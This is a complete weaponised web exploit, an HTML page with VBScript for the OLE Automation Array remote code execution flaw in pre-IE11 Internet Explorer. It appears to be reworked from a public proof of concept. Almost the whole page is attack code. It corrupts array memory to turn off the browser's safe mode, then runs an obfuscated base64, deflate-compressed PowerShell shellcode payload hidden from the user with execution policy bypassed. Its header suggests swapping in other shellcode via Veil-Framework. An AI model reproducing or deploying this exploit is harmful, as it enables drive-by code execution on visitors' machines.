<!doctype html> <html> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" > <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <body> <pre> |--------------------------------------------------------------------------| | Title: OLE Automation Array Remote Code Execution => Pre IE11 | | Original Exploit: yuange - http://www.exploit-db.com/exploits/35229/ | | Rework: GradiusX (francescomifsud@gmail.com ) & b33f (@FuzzySec) | | Shellcode: Use the Veil-Framework, powershell/shellcode_inject/virtual | | Usage: http://www.fuzzysecurity.com/exploits/21.html | |--------------------------------------------------------------------------| Very nice black-magic yuange, don't think it went unnoticed that you have been popping shells since 2009 :D 人无千日好,花无百日红 |--------------------------------------------------------------------------| </pre> <SCRIPT LANGUAGE="VBScript"> function runmumaa() On Error Resume Next set shell=createobject("Shell.Application") 'powershell/shellcode_inject/virtual --> windows/messagebox title='Ooops!' text='Powershell FTW!' payload="nVVdi9tGFH33rxiMHmzWWkYafTlmIWlDIVBCYZf2wfhhNBp1RWXJyHLqTZv/Xp1jXzfbvIS+zOed+3HOuVLg1IN6O59t37fth/2hH8bF/A8/dL418X3VtvPlTh1OZds4dRztOE3+PE736kM3/jIO6tdmGE+2fde2vVtcz/5cqVPTjep8nV+u8+fl5n/H+XHwdvRPz9NUSZzT1e+nlfo38nX1VezryX+j74+f3DB+T+y93x/9uPjW862q+dtZ0E9Avquq8Onl4FU4vSn98N7XTdeMTd+pwKnwo917Nf+t6Uw8V2E37Y4H67ziyU+nzsHyqMKDPR7H5+E0C84PQf/mzSuQ9UqfI60xmcuU6OVGbX94Gf12twuOYFSfSzvdlH4a0nIaqnoadIIVLlyF1XoacpzFGGoMKS5MBBPcllglsZylKYJjq82rbYFtjkApAhl4qfkC0YpSVjHs4mIaMgwWMTy8aHhxGOIMDnKY4FmSSwZJJsUweIwzywwAQoZVBWODojOcFTDJnJwlWEUImaDUAsYOrjTfOkGIzwxWDsVERA0mKbOiSSaQlE5KveCSSvYpb1lbJdmXpAu5WJpoiaFRVpRL4uQjIUwstbxFY/kwsYDTYlsjhkdZa+bCisj+WgAzRnJ2GGwsbGVWmPYwyZBLgUA1TNbEvhQCclwUMI5g5wrRCzN1pTAdZVJvokV6eSyuCCLR1dRfLtjTAcVAOC0c+FpqIy4+kVwuNFqhlgjVTgjInZCca8GgYBp4VuFF4UQ5OR0QXSNxHTmHcU2VYIi8SI89UxIrbD1u4/WtNmoSkBhkmhYiM4vBpcJ5iQvKu85EFvRiE8mAqbFXSRnB1kic3UN0CbZln99WFu7ZW449SEKtaCjLhWn2L+kmRwwUkW6qCTGo3UKLQBLYsY+ocSJOV57y5rckFm1UbNhYZMZ+uxBAV6mwcOkPwnnrvALD2kjlbGIWQyFlN6kwe4LNXiCDrJJvK0rUCKamlEDUGnEhySlQ44cxgtOMRaeSqXUiH34izVoqj9zqa53WVJi5VamFClYZ10xoM6v7QS2C5kFvgkaFrZ82R3f/s+9+H5/DaDmd3t0t1V/48F//PNvLr2e3CM73T/20MfFieRc0y5Wanm6DZrdS0VL9rfrTGHantt18mQWf+et49d+cEloF5xUm/DIeRzuM4WPr/UGFj971XaXwZ9H6Hw==" command="Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(""""" & chr(34) & payload & chr(34) & """"")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();" params="-NoP -NonI -Exec Bypass -Command " & command 'Original POC yuange 'set shell=createobject("Shell.Application") 'shell.ShellExecute "notepad.exe" 'With UAC 'shell.ShellExecute "powershell", params, "", "runas", 0 'Without UAC shell.ShellExecute "powershell", params, "", "", 0 end function </script> <SCRIPT LANGUAGE="VBScript"> dim aa() dim ab() dim a0 dim a1 dim a2 dim a3 dim win9x dim intVersion dim rnda dim funclass dim myarray Begin() function Begin() On Error Resume Next info=Navigator.UserAgent if(instr(info,"Win64")>0) then exit function end if if (instr(info,"MSIE")>0) then intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) else exit function end if win9x=0 BeginInit() If Create()=True Then myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0) if(intVersion<4) then document.write("<br> IE") document.write(intVersion) runshellcode() else setnotsafemode() end if end if end function function BeginInit() Randomize() redim aa(5) redim ab(5) a0=13+17*rnd(6) a3=7+3*rnd(5) end function function Create() On Error Resume Next dim i Create=False For i = 0 To 400 If Over()=True Then ' document.write(i) Create=True Exit For End If Next end function sub testaa() end sub function mydata() On Error Resume Next i=testaa i=null redim Preserve aa(a2) ab(0)=0 aa(a1)=i ab(0)=6.36598737437801E-314 aa(a1+2)=myarray ab(2)=1.74088534731324E-310 mydata=aa(a1) redim Preserve aa(a0) end function function setnotsafemode() On Error Resume Next i=mydata() i=readmemo(i+8) i=readmemo(i+16) j=readmemo(i+&h134) for k=0 to &h60 step 4 j=readmemo(i+&h120+k) if(j=14) then j=0 redim Preserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) redim Preserve aa(a0) j=0 j=readmemo(i+&h120+k) Exit for end if next ab(2)=1.69759663316747E-313 runmumaa() end function function Over() On Error Resume Next dim type1,type2,type3 Over=False a0=a0+a3 a1=a0+2 a2=a0+&h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1=1 ab(0)=1.123456789012345678901234567890 aa(a0)=10 If(IsObject(aa(a1-1)) = False) Then if(intVersion<4) then mem=cint(a0+1)*16 j=vartype(aa(a1-1)) if((j=mem+4) or (j*8=mem+8)) then if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if else redim Preserve aa(a0) exit function end if else if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if end if end if If(type1=&h2f66) Then Over=True End If If(type1=&hB9AD) Then Over=True win9x=1 End If redim Preserve aa(a0) end function function ReadMemo(add) On Error Resume Next redim Preserve aa(a2) ab(0)=0 aa(a1)=add+4 ab(0)=1.69759663316747E-313 ReadMemo=lenb(aa(a1)) ab(0)=0 redim Preserve aa(a0) end function </script> </body> </html>